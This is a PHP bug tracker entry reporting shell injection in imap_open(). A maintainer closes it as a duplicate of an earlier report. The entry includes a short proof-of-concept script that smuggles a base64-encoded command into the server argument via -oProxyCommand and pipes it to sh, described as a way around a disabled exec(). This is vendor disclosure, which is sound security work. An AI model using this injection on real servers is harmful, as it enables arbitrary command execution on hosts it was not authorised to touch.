|  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #77160 Script injection in imap_open()
Submitted: 2018-11-15 09:09 UTC Modified: 2019-02-21 05:11 UTC
From: hanno at hboeck dot de Assigned: cmb (profile)
Status: Duplicate Package: IMAP related
PHP Version: 7.2.12 OS:
Private report: No CVE-ID: None
View Add Comment Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
You can add a comment by following this link or if you reported this bug, you can edit this bug over here.
Block user comment
Status: Assign to:
Bug Type:
From: hanno at hboeck dot de
New email:
PHP Version: OS:


 [2018-11-15 09:09 UTC] hanno at hboeck dot de
I just saw this posted on reddit and wanted to make sure PHP takes note, I haven't found it mentioned in the bug database yet:

It seems imap_open() has some kind of shell injection. This is advertised as an exec() bypass if exec() is not allowed, however I could also imagine this opens up a security problem in case you have any kind of imap frontend that allows users to configure their own server.

Likely the input to the function should be properly sanitized.

Test script:
# echo '1234567890'>/tmp/test0001
$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());


Add a Patch

Pull Requests

Add a Pull Request


AllCommentsChangesGit/SVN commitsRelated reports
 [2018-11-15 10:39 UTC]
-Status: Open +Status: Duplicate -Assigned To: +Assigned To: cmb
 [2018-11-15 10:39 UTC]
Thanks!  This has already been reported as bug #77153, though.
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Fri Jul 12 15:01:30 2024 UTC